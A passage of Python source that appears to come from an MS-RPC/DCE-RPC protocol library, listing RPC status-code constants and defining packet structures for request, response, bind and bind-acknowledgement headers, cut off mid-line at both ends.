0X16C9A0BD\nMSRPC_STATUS_CODE_RPC_S_NO_RPC_DATA = 0X16C9A0BE\nMSRPC_STATUS_CODE_RPC_S_MBR_PICKED = 0X16C9A0BF\nMSRPC_STATUS_CODE_RPC_S_NOT_ALL_OBJS_UNEXPORTED = 0X16C9A0C0\nMSRPC_STATUS_CODE_RPC_S_NO_ENTRY_NAME = 0X16C9A0C1\nMSRPC_STATUS_CODE_RPC_S_PRIORITY_GROUP_DONE = 0X16C9A0C2\nMSRPC_STATUS_CODE_RPC_S_PARTIAL_RESULTS = 0X16C9A0C3\nMSRPC_STATUS_CODE_RPC_S_NO_ENV_SETUP = 0X16C9A0C4\nMSRPC_STATUS_CODE_TWR_S_UNKNOWN_SA = 0X16C9A0C5\nMSRPC_STATUS_CODE_TWR_S_UNKNOWN_TOWER = 0X16C9A0C6\nMSRPC_STATUS_CODE_TWR_S_NOT_IMPLEMENTED = 0X16C9A0C7\nMSRPC_STATUS_CODE_RPC_S_MAX_CALLS_TOO_SMALL = 0X16C9A0C8\nMSRPC_STATUS_CODE_RPC_S_CTHREAD_CREATE_FAILED = 0X16C9A0C9\nMSRPC_STATUS_CODE_RPC_S_CTHREAD_POOL_EXISTS = 0X16C9A0CA\nMSRPC_STATUS_CODE_RPC_S_CTHREAD_NO_SUCH_POOL = 0X16C9A0CB\nMSRPC_STATUS_CODE_RPC_S_CTHREAD_INVOKE_DISABLED = 0X16C9A0CC\nMSRPC_STATUS_CODE_EPT_S_CANT_PERFORM_OP = 0X16C9A0CD\nMSRPC_STATUS_CODE_EPT_S_NO_MEMORY = 0X16C9A0CE\nMSRPC_STATUS_CODE_EPT_S_DATABASE_INVALID = 0X16C9A0CF\nMSRPC_STATUS_CODE_EPT_S_CANT_CREATE = 0X16C9A0D0\nMSRPC_STATUS_CODE_EPT_S_CANT_ACCESS = 0X16C9A0D1\nMSRPC_STATUS_CODE_EPT_S_DATABASE_ALREADY_OPEN = 0X16C9A0D2\nMSRPC_STATUS_CODE_EPT_S_INVALID_ENTRY = 0X16C9A0D3\nMSRPC_STATUS_CODE_EPT_S_UPDATE_FAILED = 0X16C9A0D4\nMSRPC_STATUS_CODE_EPT_S_INVALID_CONTEXT = 0X16C9A0D5\nMSRPC_STATUS_CODE_EPT_S_NOT_REGISTERED = 0X16C9A0D6\nMSRPC_STATUS_CODE_EPT_S_SERVER_UNAVAILABLE = 0X16C9A0D7\nMSRPC_STATUS_CODE_RPC_S_UNDERSPECIFIED_NAME = 0X16C9A0D8\nMSRPC_STATUS_CODE_RPC_S_INVALID_NS_HANDLE = 0X16C9A0D9\nMSRPC_STATUS_CODE_RPC_S_UNKNOWN_ERROR = 0X16C9A0DA\nMSRPC_STATUS_CODE_RPC_S_SS_CHAR_TRANS_OPEN_FAIL = 0X16C9A0DB\nMSRPC_STATUS_CODE_RPC_S_SS_CHAR_TRANS_SHORT_FILE = 0X16C9A0DC\nMSRPC_STATUS_CODE_RPC_S_SS_CONTEXT_DAMAGED = 0X16C9A0DD\nMSRPC_STATUS_CODE_RPC_S_SS_IN_NULL_CONTEXT = 0X16C9A0DE\nMSRPC_STATUS_CODE_RPC_S_SOCKET_FAILURE = 0X16C9A0DF\nMSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_PROTECT_LEVEL = 0X16C9A0E0\nMSRPC_STATUS_CODE_RPC_S_INVALID_CHECKSUM = 0X16C9A0E1\nMSRPC_STATUS_CODE_RPC_S_INVALID_CREDENTIALS = 0X16C9A0E2\nMSRPC_STATUS_CODE_RPC_S_CREDENTIALS_TOO_LARGE = 0X16C9A0E3\nMSRPC_STATUS_CODE_RPC_S_CALL_ID_NOT_FOUND = 0X16C9A0E4\nMSRPC_STATUS_CODE_RPC_S_KEY_ID_NOT_FOUND = 0X16C9A0E5\nMSRPC_STATUS_CODE_RPC_S_AUTH_BAD_INTEGRITY = 0X16C9A0E6\nMSRPC_STATUS_CODE_RPC_S_AUTH_TKT_EXPIRED = 0X16C9A0E7\nMSRPC_STATUS_CODE_RPC_S_AUTH_TKT_NYV = 0X16C9A0E8\nMSRPC_STATUS_CODE_RPC_S_AUTH_REPEAT = 0X16C9A0E9\nMSRPC_STATUS_CODE_RPC_S_AUTH_NOT_US = 0X16C9A0EA\nMSRPC_STATUS_CODE_RPC_S_AUTH_BADMATCH = 0X16C9A0EB\nMSRPC_STATUS_CODE_RPC_S_AUTH_SKEW = 0X16C9A0EC\nMSRPC_STATUS_CODE_RPC_S_AUTH_BADADDR = 0X16C9A0ED\nMSRPC_STATUS_CODE_RPC_S_AUTH_BADVERSION = 0X16C9A0EE\nMSRPC_STATUS_CODE_RPC_S_AUTH_MSG_TYPE = 0X16C9A0EF\nMSRPC_STATUS_CODE_RPC_S_AUTH_MODIFIED = 0X16C9A0F0\nMSRPC_STATUS_CODE_RPC_S_AUTH_BADORDER = 0X16C9A0F1\nMSRPC_STATUS_CODE_RPC_S_AUTH_BADKEYVER = 0X16C9A0F2\nMSRPC_STATUS_CODE_RPC_S_AUTH_NOKEY = 0X16C9A0F3\nMSRPC_STATUS_CODE_RPC_S_AUTH_MUT_FAIL = 0X16C9A0F4\nMSRPC_STATUS_CODE_RPC_S_AUTH_BADDIRECTION = 0X16C9A0F5\nMSRPC_STATUS_CODE_RPC_S_AUTH_METHOD = 0X16C9A0F6\nMSRPC_STATUS_CODE_RPC_S_AUTH_BADSEQ = 0X16C9A0F7\nMSRPC_STATUS_CODE_RPC_S_AUTH_INAPP_CKSUM = 0X16C9A0F8\nMSRPC_STATUS_CODE_RPC_S_AUTH_FIELD_TOOLONG = 0X16C9A0F9\nMSRPC_STATUS_CODE_RPC_S_INVALID_CRC = 0X16C9A0FA\nMSRPC_STATUS_CODE_RPC_S_BINDING_INCOMPLETE = 0X16C9A0FB\nMSRPC_STATUS_CODE_RPC_S_KEY_FUNC_NOT_ALLOWED = 0X16C9A0FC\nMSRPC_STATUS_CODE_RPC_S_UNKNOWN_STUB_RTL_IF_VERS = 0X16C9A0FD\nMSRPC_STATUS_CODE_RPC_S_UNKNOWN_IFSPEC_VERS = 0X16C9A0FE\nMSRPC_STATUS_CODE_RPC_S_PROTO_UNSUPP_BY_AUTH = 0X16C9A0FF\nMSRPC_STATUS_CODE_RPC_S_AUTHN_CHALLENGE_MALFORMED = 0X16C9A100\nMSRPC_STATUS_CODE_RPC_S_PROTECT_LEVEL_MISMATCH = 0X16C9A101\nMSRPC_STATUS_CODE_RPC_S_NO_MEPV = 0X16C9A102\nMSRPC_STATUS_CODE_RPC_S_STUB_PROTOCOL_ERROR = 0X16C9A103\nMSRPC_STATUS_CODE_RPC_S_CLASS_VERSION_MISMATCH = 0X16C9A104\nMSRPC_STATUS_CODE_RPC_S_HELPER_NOT_RUNNING = 0X16C9A105\nMSRPC_STATUS_CODE_RPC_S_HELPER_SHORT_READ = 0X16C9A106\nMSRPC_STATUS_CODE_RPC_S_HELPER_CATATONIC = 0X16C9A107\nMSRPC_STATUS_CODE_RPC_S_HELPER_ABORTED = 0X16C9A108\nMSRPC_STATUS_CODE_RPC_S_NOT_IN_KERNEL = 0X16C9A109\nMSRPC_STATUS_CODE_RPC_S_HELPER_WRONG_USER = 0X16C9A10A\nMSRPC_STATUS_CODE_RPC_S_HELPER_OVERFLOW = 0X16C9A10B\nMSRPC_STATUS_CODE_RPC_S_DG_NEED_WAY_AUTH = 0X16C9A10C\nMSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_AUTH_SUBTYPE = 0X16C9A10D\nMSRPC_STATUS_CODE_RPC_S_WRONG_PICKLE_TYPE = 0X16C9A10E\nMSRPC_STATUS_CODE_RPC_S_NOT_LISTENING = 0X16C9A10F\nMSRPC_STATUS_CODE_RPC_S_SS_BAD_BUFFER = 0X16C9A110\nMSRPC_STATUS_CODE_RPC_S_SS_BAD_ES_ACTION = 0X16C9A111\nMSRPC_STATUS_CODE_RPC_S_SS_WRONG_ES_VERSION = 0X16C9A112\nMSRPC_STATUS_CODE_RPC_S_FAULT_USER_DEFINED = 0X16C9A113\nMSRPC_STATUS_CODE_RPC_S_SS_INCOMPATIBLE_CODESETS = 0X16C9A114\nMSRPC_STATUS_CODE_RPC_S_TX_NOT_IN_TRANSACTION = 0X16C9A115\nMSRPC_STATUS_CODE_RPC_S_TX_OPEN_FAILED = 0X16C9A116\nMSRPC_STATUS_CODE_RPC_S_PARTIAL_CREDENTIALS = 0X16C9A117\nMSRPC_STATUS_CODE_RPC_S_SS_INVALID_CODESET_TAG = 0X16C9A118\nMSRPC_STATUS_CODE_RPC_S_MGMT_BAD_TYPE = 0X16C9A119\nMSRPC_STATUS_CODE_RPC_S_SS_INVALID_CHAR_INPUT = 0X16C9A11A\nMSRPC_STATUS_CODE_RPC_S_SS_SHORT_CONV_BUFFER = 0X16C9A11B\nMSRPC_STATUS_CODE_RPC_S_SS_ICONV_ERROR = 0X16C9A11C\nMSRPC_STATUS_CODE_RPC_S_SS_NO_COMPAT_CODESET = 0X16C9A11D\nMSRPC_STATUS_CODE_RPC_S_SS_NO_COMPAT_CHARSETS = 0X16C9A11E\nMSRPC_STATUS_CODE_DCE_CS_C_OK = 0X16C9A11F\nMSRPC_STATUS_CODE_DCE_CS_C_UNKNOWN = 0X16C9A120\nMSRPC_STATUS_CODE_DCE_CS_C_NOTFOUND = 0X16C9A121\nMSRPC_STATUS_CODE_DCE_CS_C_CANNOT_OPEN_FILE = 0X16C9A122\nMSRPC_STATUS_CODE_DCE_CS_C_CANNOT_READ_FILE = 0X16C9A123\nMSRPC_STATUS_CODE_DCE_CS_C_CANNOT_ALLOCATE_MEMORY = 0X16C9A124\nMSRPC_STATUS_CODE_RPC_S_SS_CLEANUP_FAILED = 0X16C9A125\nMSRPC_STATUS_CODE_RPC_SVC_DESC_GENERAL = 0X16C9A126\nMSRPC_STATUS_CODE_RPC_SVC_DESC_MUTEX = 0X16C9A127\nMSRPC_STATUS_CODE_RPC_SVC_DESC_XMIT = 0X16C9A128\nMSRPC_STATUS_CODE_RPC_SVC_DESC_RECV = 0X16C9A129\nMSRPC_STATUS_CODE_RPC_SVC_DESC_DG_STATE = 0X16C9A12A\nMSRPC_STATUS_CODE_RPC_SVC_DESC_CANCEL = 0X16C9A12B\nMSRPC_STATUS_CODE_RPC_SVC_DESC_ORPHAN = 0X16C9A12C\nMSRPC_STATUS_CODE_RPC_SVC_DESC_CN_STATE = 0X16C9A12D\nMSRPC_STATUS_CODE_RPC_SVC_DESC_CN_PKT = 0X16C9A12E\nMSRPC_STATUS_CODE_RPC_SVC_DESC_PKT_QUOTAS = 0X16C9A12F\nMSRPC_STATUS_CODE_RPC_SVC_DESC_AUTH = 0X16C9A130\nMSRPC_STATUS_CODE_RPC_SVC_DESC_SOURCE = 0X16C9A131\nMSRPC_STATUS_CODE_RPC_SVC_DESC_STATS = 0X16C9A132\nMSRPC_STATUS_CODE_RPC_SVC_DESC_MEM = 0X16C9A133\nMSRPC_STATUS_CODE_RPC_SVC_DESC_MEM_TYPE = 0X16C9A134\nMSRPC_STATUS_CODE_RPC_SVC_DESC_DG_PKTLOG = 0X16C9A135\nMSRPC_STATUS_CODE_RPC_SVC_DESC_THREAD_ID = 0X16C9A136\nMSRPC_STATUS_CODE_RPC_SVC_DESC_TIMESTAMP = 0X16C9A137\nMSRPC_STATUS_CODE_RPC_SVC_DESC_CN_ERRORS = 0X16C9A138\nMSRPC_STATUS_CODE_RPC_SVC_DESC_CONV_THREAD = 0X16C9A139\nMSRPC_STATUS_CODE_RPC_SVC_DESC_PID = 0X16C9A13A\nMSRPC_STATUS_CODE_RPC_SVC_DESC_ATFORK = 0X16C9A13B\nMSRPC_STATUS_CODE_RPC_SVC_DESC_CMA_THREAD = 0X16C9A13C\nMSRPC_STATUS_CODE_RPC_SVC_DESC_INHERIT = 0X16C9A13D\nMSRPC_STATUS_CODE_RPC_SVC_DESC_DG_SOCKETS = 0X16C9A13E\nMSRPC_STATUS_CODE_RPC_SVC_DESC_TIMER = 0X16C9A13F\nMSRPC_STATUS_CODE_RPC_SVC_DESC_THREADS = 0X16C9A140\nMSRPC_STATUS_CODE_RPC_SVC_DESC_SERVER_CALL = 0X16C9A141\nMSRPC_STATUS_CODE_RPC_SVC_DESC_NSI = 0X16C9A142\nMSRPC_STATUS_CODE_RPC_SVC_DESC_DG_PKT = 0X16C9A143\nMSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_SA = 0X16C9A144\nMSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_CA = 0X16C9A145\nMSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_SG = 0X16C9A146\nMSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_CG = 0X16C9A147\nMSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_SR = 0X16C9A148\nMSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_CR = 0X16C9A149\nMSRPC_STATUS_CODE_RPC_M_BAD_PKT_TYPE = 0X16C9A14A\nMSRPC_STATUS_CODE_RPC_M_PROT_MISMATCH = 0X16C9A14B\nMSRPC_STATUS_CODE_RPC_M_FRAG_TOOBIG = 0X16C9A14C\nMSRPC_STATUS_CODE_RPC_M_UNSUPP_STUB_RTL_IF = 0X16C9A14D\nMSRPC_STATUS_CODE_RPC_M_UNHANDLED_CALLSTATE = 0X16C9A14E\nMSRPC_STATUS_CODE_RPC_M_CALL_FAILED = 0X16C9A14F\nMSRPC_STATUS_CODE_RPC_M_CALL_FAILED_NO_STATUS = 0X16C9A150\nMSRPC_STATUS_CODE_RPC_M_CALL_FAILED_ERRNO = 0X16C9A151\nMSRPC_STATUS_CODE_RPC_M_CALL_FAILED_S = 0X16C9A152\nMSRPC_STATUS_CODE_RPC_M_CALL_FAILED_C = 0X16C9A153\nMSRPC_STATUS_CODE_RPC_M_ERRMSG_TOOBIG = 0X16C9A154\nMSRPC_STATUS_CODE_RPC_M_INVALID_SRCHATTR = 0X16C9A155\nMSRPC_STATUS_CODE_RPC_M_NTS_NOT_FOUND = 0X16C9A156\nMSRPC_STATUS_CODE_RPC_M_INVALID_ACCBYTCNT = 0X16C9A157\nMSRPC_STATUS_CODE_RPC_M_PRE_V2_IFSPEC = 0X16C9A158\nMSRPC_STATUS_CODE_RPC_M_UNK_IFSPEC = 0X16C9A159\nMSRPC_STATUS_CODE_RPC_M_RECVBUF_TOOSMALL = 0X16C9A15A\nMSRPC_STATUS_CODE_RPC_M_UNALIGN_AUTHTRL = 0X16C9A15B\nMSRPC_STATUS_CODE_RPC_M_UNEXPECTED_EXC = 0X16C9A15C\nMSRPC_STATUS_CODE_RPC_M_NO_STUB_DATA = 0X16C9A15D\nMSRPC_STATUS_CODE_RPC_M_EVENTLIST_FULL = 0X16C9A15E\nMSRPC_STATUS_CODE_RPC_M_UNK_SOCK_TYPE = 0X16C9A15F\nMSRPC_STATUS_CODE_RPC_M_UNIMP_CALL = 0X16C9A160\nMSRPC_STATUS_CODE_RPC_M_INVALID_SEQNUM = 0X16C9A161\nMSRPC_STATUS_CODE_RPC_M_CANT_CREATE_UUID = 0X16C9A162\nMSRPC_STATUS_CODE_RPC_M_PRE_V2_SS = 0X16C9A163\nMSRPC_STATUS_CODE_RPC_M_DGPKT_POOL_CORRUPT = 0X16C9A164\nMSRPC_STATUS_CODE_RPC_M_DGPKT_BAD_FREE = 0X16C9A165\nMSRPC_STATUS_CODE_RPC_M_LOOKASIDE_CORRUPT = 0X16C9A166\nMSRPC_STATUS_CODE_RPC_M_ALLOC_FAIL = 0X16C9A167\nMSRPC_STATUS_CODE_RPC_M_REALLOC_FAIL = 0X16C9A168\nMSRPC_STATUS_CODE_RPC_M_CANT_OPEN_FILE = 0X16C9A169\nMSRPC_STATUS_CODE_RPC_M_CANT_READ_ADDR = 0X16C9A16A\nMSRPC_STATUS_CODE_RPC_SVC_DESC_LIBIDL = 0X16C9A16B\nMSRPC_STATUS_CODE_RPC_M_CTXRUNDOWN_NOMEM = 0X16C9A16C\nMSRPC_STATUS_CODE_RPC_M_CTXRUNDOWN_EXC = 0X16C9A16D\nMSRPC_STATUS_CODE_RPC_S_FAULT_CODESET_CONV_ERROR = 0X16C9A16E\nMSRPC_STATUS_CODE_RPC_S_NO_CALL_ACTIVE = 0X16C9A16F\nMSRPC_STATUS_CODE_RPC_S_CANNOT_SUPPORT = 0X16C9A170\nMSRPC_STATUS_CODE_RPC_S_NO_CONTEXT_AVAILABLE = 0X16C9A171\n\n# Bind Time Feature Negotiation:\n# [MS-RPCE] 3.3.1.5.3\nMSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIX = \"6CB71C2C-9812-4540-\"\nMSRPC_BIND_TIME_FEATURE_NEGOTIATION_SECURITY_CONTEXT_MULTIPLEXING_SUPPORTED_BITMASK = 0x01\nMSRPC_BIND_TIME_FEATURE_NEGOTIATION_KEEP_CONNECTION_ON_ORPHAN_SUPPORTED_BITMASK = 0x02\n\nMSRPC_STANDARD_NDR_SYNTAX = ('8A885D04-1CEB-11C9-9FE8-08002B104860', '2.0')\n\nclass DCERPCException(Exception):\n    \"\"\"\n    This is the exception every client should catch regardless of the underlying\n    DCERPC Transport used.\n    \"\"\"\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        \"\"\"\n        :param string error_string: A string you want to show explaining the exception. Otherwise the default ones will be used\n        :param integer error_code: the error_code if we're using a dictionary with error's descriptions\n        :param NDR packet: if successfully decoded, the NDR packet of the response call. This could probably have useful\n        information\n        \"\"\"\n        Exception.__init__(self)\n        self.packet = packet\n        self.error_string = error_string\n        if packet is not None:\n            try:\n                self.error_code = packet['ErrorCode']\n            except:\n                self.error_code = error_code\n        else:\n            self.error_code = error_code\n\n    def get_error_code( self ):\n        return self.error_code\n \n    def get_packet( self ):\n        return self.packet\n\n    def __str__( self ):\n        key = self.error_code\n        if self.error_string is not None:\n            return self.error_string\n        if key in rpc_status_codes:\n            error_msg_short = rpc_status_codes[key]\n            return 'DCERPC Runtime Error: code: 0x%x - %s ' % (self.error_code, error_msg_short)\n        else:\n            return 'DCERPC Runtime Error: unknown error code: 0x%x' % self.error_code\n\n# Context Item\nclass CtxItem(Structure):\n    structure = (\n        ('ContextID','<H=0'),\n        ('TransItems','B=0'),\n        ('Pad','B=0'),\n        ('AbstractSyntax','20s=\"\"'),\n        ('TransferSyntax','20s=\"\"'),\n    )\n\nclass CtxItemResult(Structure):\n    structure = (\n        ('Result','<H=0'),\n        ('Reason','<H=0'),\n        ('TransferSyntax','20s=\"\"'),\n    )\n\nclass SEC_TRAILER(Structure):\n    commonHdr = (\n        ('auth_type', 'B=10'),\n        ('auth_level','B=0'),\n        ('auth_pad_len','B=0'),\n        ('auth_rsvrd','B=0'),\n        ('auth_ctx_id','<L=747920'),\n    )\n\nclass MSRPCHeader(Structure):\n    _SIZE = 16\n    commonHdr = ( \n        ('ver_major','B=5'),                              # 0\n        ('ver_minor','B=0'),                              # 1\n        ('type','B=0'),                                   # 2\n        ('flags','B=0'),                                  # 3\n        ('representation','<L=0x10'),                     # 4\n        ('frag_len','<H=self._SIZE+len(auth_data)+(16 if (self[\"flags\"] & 0x80) > 0 else 0)+len(pduData)+len(pad)+len(sec_trailer)'),  # 8\n        ('auth_len','<H=len(auth_data)'),                 # 10\n        ('call_id','<L=1'),                               # 12    <-- Common up to here (including this)\n    )\n\n    structure = ( \n        ('dataLen','_-pduData','self[\"frag_len\"]-self[\"auth_len\"]-self._SIZE-(8 if self[\"auth_len\"] > 0 else 0)'),\n        ('pduData',':'),                                \n        ('_pad', '_-pad','(4 - ((self._SIZE + (16 if (self[\"flags\"] & 0x80) > 0 else 0) + len(self[\"pduData\"])) & 3) & 3)'),\n        ('pad', ':'),\n        ('_sec_trailer', '_-sec_trailer', '8 if self[\"auth_len\"] > 0 else 0'),\n        ('sec_trailer',':'),\n        ('auth_dataLen','_-auth_data','self[\"auth_len\"]'),\n        ('auth_data',':'),\n    )\n\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self,data, alignment)\n        if data is None:\n            self['ver_major'] = 5\n            self['ver_minor'] = 0\n            self['flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG\n            self['type'] = MSRPC_REQUEST\n            self.__frag_len_set = 0\n            self['auth_len'] = 0\n            self['pduData'] = b''\n            self['auth_data'] = b''\n            self['sec_trailer'] = b''\n            self['pad'] = b''\n\n    def get_header_size(self):\n        return self._SIZE + (16 if (self[\"flags\"] & PFC_OBJECT_UUID) > 0 else 0)\n\n    def get_packet(self):\n        if self['auth_data'] != b'':\n            self['auth_len'] = len(self['auth_data'])\n        # The sec_trailer structure MUST be 4-byte aligned with respect to \n        # the beginning of the PDU. Padding octets MUST be used to align the \n        # sec_trailer structure if its natural beginning is not already 4-byte aligned\n        ##self['pad'] = '\\xAA' * (4 - ((self._SIZE + len(self['pduData'])) & 3) & 3)\n\n        return self.getData()\n\nclass MSRPCRequestHeader(MSRPCHeader):\n    _SIZE = 24\n    commonHdr = MSRPCHeader.commonHdr + ( \n        ('alloc_hint','<L=0'),                            # 16\n        ('ctx_id','<H=0'),                                # 20\n        ('op_num','<H=0'),                                # 22\n        ('_uuid','_-uuid','16 if self[\"flags\"] & 0x80 > 0 else 0' ), # 22\n        ('uuid',':'),                                # 22\n    )\n\n    def __init__(self, data = None, alignment = 0):\n        MSRPCHeader.__init__(self, data, alignment)\n        if data is None:\n           self['type'] = MSRPC_REQUEST\n           self['ctx_id'] = 0\n           self['uuid'] = b''\n\nclass MSRPCRespHeader(MSRPCHeader):\n    _SIZE = 24\n    commonHdr = MSRPCHeader.commonHdr + ( \n        ('alloc_hint','<L=0'),                          # 16   \n        ('ctx_id','<H=0'),                              # 20\n        ('cancel_count','<B=0'),                        # 22\n        ('padding','<B=0'),                             # 23\n    )\n\n    def __init__(self, aBuffer = None, alignment = 0):\n        MSRPCHeader.__init__(self, aBuffer, alignment)\n        if aBuffer is None:\n            self['type'] = MSRPC_RESPONSE\n            self['ctx_id'] = 0\n\nclass MSRPCBind(Structure):\n    _CTX_ITEM_LEN = len(CtxItem())\n    structure = (\n        ('max_tfrag', '<H=4280'),\n        ('max_rfrag', '<H=4280'),\n        ('assoc_group', '<L=0'),\n        ('ctx_num', 'B=0'),\n        ('Reserved', 'B=0'),\n        ('Reserved2', '<H=0'),\n        ('_ctx_items', '_-ctx_items', 'self[\"ctx_num\"]*self._CTX_ITEM_LEN'),\n        ('ctx_items', ':'),\n    )\n\n    def __init__(self, data=None, alignment=0):\n        Structure.__init__(self, data, alignment)\n        if data is None:\n            self['max_tfrag'] = 4280\n            self['max_rfrag'] = 4280\n            self['assoc_group'] = 0\n            self['ctx_num'] = 1\n            self['ctx_items'] = b''\n        self.__ctx_items = []\n\n    def addCtxItem(self, item):\n        self.__ctx_items.append(item)\n\n    def getCtxItems(self):\n        return self.__ctx_items\n\n    def getCtxItem(self, index):\n        return self.__ctx_items[index - 1]\n\n    def getData(self):\n        self['ctx_num'] = len(self.__ctx_items)\n        for i in self.__ctx_items:\n            self['ctx_items'] += i.getData()\n        return Structure.getData(self)\n\n\nclass MSRPCRelayBind(Structure):\n    _CTX_ITEM_LEN = len(CtxItem())\n    structure = ( \n        ('max_tfrag','<H=4280'),\n        ('max_rfrag','<H=4280'),\n        ('assoc_group','<L=0'),\n        ('ctx_num','B=0'),\n        ('Reserved','B=0'),\n        ('Reserved2','<H=0'),\n        ('_ctx_items', '_-ctx_items', 'self[\"ctx_num\"]*self._CTX_ITEM_LEN'),\n        ('ctx_items',':'),\n    )\n \n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        if data is None:\n            self['max_tfrag'] = 4280\n            self['max_rfrag'] = 4280\n            self['assoc_group'] = 0\n            self['ctx_num'] = 1\n            self['ctx_items'] = b''\n        self.__ctx_items = []\n        ctx_items_data = self[\"ctx_items\"]\n        for i in range(int(self[\"_ctx_items\"] / self._CTX_ITEM_LEN)):\n            self.__ctx_items.append(CtxItem(ctx_items_data))\n            ctx_items_data = ctx_items_data[self._CTX_ITEM_LEN:]\n\n    def addCtxItem(self, item):\n        self.__ctx_items.append(item)\n    \n    def getCtxItems(self):\n        return self.__ctx_items\n\n    def getCtxItem(self,index):\n        return self.__ctx_items[index-1]\n\n    def getData(self):\n        self['ctx_num'] = len(self.__ctx_items)\n        for i in self.__ctx_items:\n            self['ctx_items'] += i.getData()\n        return Structure.getData(self)\n\nclass MSRPCBindAck(MSRPCHeader):\n    _SIZE = 26 # Up to SecondaryAddr\n    _CTX_ITEM_LEN = len(CtxItemResult())\n    structure = ( \n        ('max_tfrag','<H=0'),\n        ('max_rfrag','<H=0'),\n        ('assoc_group','<L=0'),\n        ('SecondaryAddrLen','<H&SecondaryAddr'), \n        ('SecondaryAddr','z'),                          # Optional if SecondaryAddrLen == 0\n        ('PadLen','_-Pad','(4-((self[\"SecondaryAddrLen\"]+self._SIZE) % 4))%4'),\n        ('Pad',':'),\n        ('ctx_num','B=0'),\n        ('Reserved','B=0'),\n        ('Reserved2','<H=0'),\n        ('_ctx_items','_-ctx_items','self[\"ctx_num\"]*self._CTX_ITEM_LEN'),\n        ('ctx_items',':'),\n        ('_sec_trailer', '_-sec_trailer', '8 if self[\"auth_len\"] > 0 else 0'),\n        ('sec_trailer',':'),\n        ('auth_dataLen','_-auth_data','self[\"auth_len\"]'),\n        ('auth_data',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        self.__ctx_items = []\n        MSRPCHeader.__init__(self,data,alignment)\n        if data is None:\n            self['Pad'] = b''\n            self['ctx_items'] = b''\n            self['sec_trailer'] = b''\n            self['auth_data'] = b''\n\n    def getCtxItems(self):\n        return self.__ctx_items\n\n    def getCtxItem(self,index):\n        return self.__ctx_items[index-1]\n\n    def fromString(self, data):\n        Structure.fromString(self,data)\n        # Parse the ctx_items\n        data = self['ctx_items']\n        for i in range(self['ctx_num']):\n            item = CtxItemResult(data)\n            self.__ctx_items.append(item)\n            data = data[len(item):]\n            \nclass MSRPCRelayBindAck(Structure):\n    _SIZE = 26 # Up to SecondaryAddr\n    _CTX_ITEM_LEN = len(CtxItemResult())\n    structure = ( \n        ('max_tfrag','<H=0'),\n        ('max_rfrag','<H=0'),\n        ('assoc_group','<L=0'),\n        ('SecondaryAddrLen','<H&SecondaryAddr'), \n        ('SecondaryAddr','z'),                          # Optional if SecondaryAddrLen == 0\n        ('PadLen','_-Pad','(4-((self[\"SecondaryAddrLen\"]+self._SIZE) % 4))%4'),\n        ('Pad',':'),\n        ('ctx_num','B=0'),\n        ('Reserved','B=0'),\n        ('Reserved2','<H=0'),\n        ('_ctx_items','_-ctx_items','self[\"ctx_num\"]*self._CTX_ITEM_LEN'),\n        ('ctx_items',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        self.__ctx_items = []\n        Structure.__init__(self,data,alignment)\n        if data is None:\n            self['Pad'] = b''\n            self['ctx_items'] = b''\n            self['ctx_num'] = 0\n\n    def getCtxItems(self):\n        return self.__ctx_items\n\n    def getCtxItem(self,index):\n        return self.__ctx_items[index-1]\n\n    def addCtxItem(self, item):\n        self.__ctx_items.append(item)\n\n    def fromString(self, data):\n        Structure.fromString(self,data)\n        # Parse the ctx_items\n        data = self['ctx_items']\n        for i in range(self['ctx_num']):\n            item = CtxItemResult(data)\n            self.__ctx_items.append(item)\n            data = data[len(item):]\n\n    def getData(self):\n        self['SecondaryAddrLen'] = len(self[\"SecondaryAddr\"])+1\n        self['Pad'] = '\\x00'*((4-((self[\"SecondaryAddrLen\"]+self._SIZE) % 4)) % 4)\n        self['ctx_num'] = len(self.__ctx_items)\n        for i in self.__ctx_items:\n            self['ctx_items'] += i.getData()\n        return Structure.getData(self)\n\nclass MSRPCBindNak(Structure):\n    structure = ( \n        ('RejectedReason','<H=0'),\n        ('SupportedVersions',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self,data,alignment)\n        if data is None:\n            self['SupportedVersions'] = b''\n\nclass DCERPC:\n    # Standard NDR Representation\n    NDRSyntax   = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0'))\n    # NDR 64\n    NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))\n    transfer_syntax =  NDRSyntax\n\n    def __init__(self,transport):\n        self._transport = transport\n        self.set_ctx_id(0)\n        self._max_user_frag = None\n        self.set_default_max_fragment_size()\n        self._ctx = None\n\n    def get_rpc_transport(self):\n        return self._transport\n\n    def set_ctx_id(self, ctx_id):\n        self._ctx = ctx_id\n\n    def connect(self):\n        return self._transport.connect()\n\n    def disconnect(self):\n        return self._transport.disconnect()\n\n    def set_max_fragment_size(self, fragment_size):\n        # -1 is default fragment size: 0 for v5, 1300 y pico for v4\n        #  0 is don't fragment\n        #    other values are max fragment size\n        if fragment_size == -1:\n            self.set_default_max_fragment_size()\n        else:\n            self._max_user_frag = fragment_size\n\n    def set_default_max_fragment_size(self):\n        # default is 0: don'fragment. v4 will override this method\n        self._max_user_frag = 0\n\n    def send(self, data):\n        raise RuntimeError ('virtual method. Not implemented in subclass')\n\n    def recv(self):\n        raise RuntimeError ('virtual method. Not implemented in subclass')\n\n    def alter_ctx(self, newUID, bogus_binds=''):\n        raise RuntimeError ('virtual method. Not implemented in subclass')\n\n    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):\n        pass\n\n    def set_auth_level(self, auth_level):\n        pass\n\n    def set_auth_type(self, auth_type, callback=None):\n        pass\n\n    def get_idempotent(self):\n        return 0\n\n    def set_idempotent(self, flag):\n        pass\n\n    def call(self, function, body, uuid=None):\n        if hasattr(body, 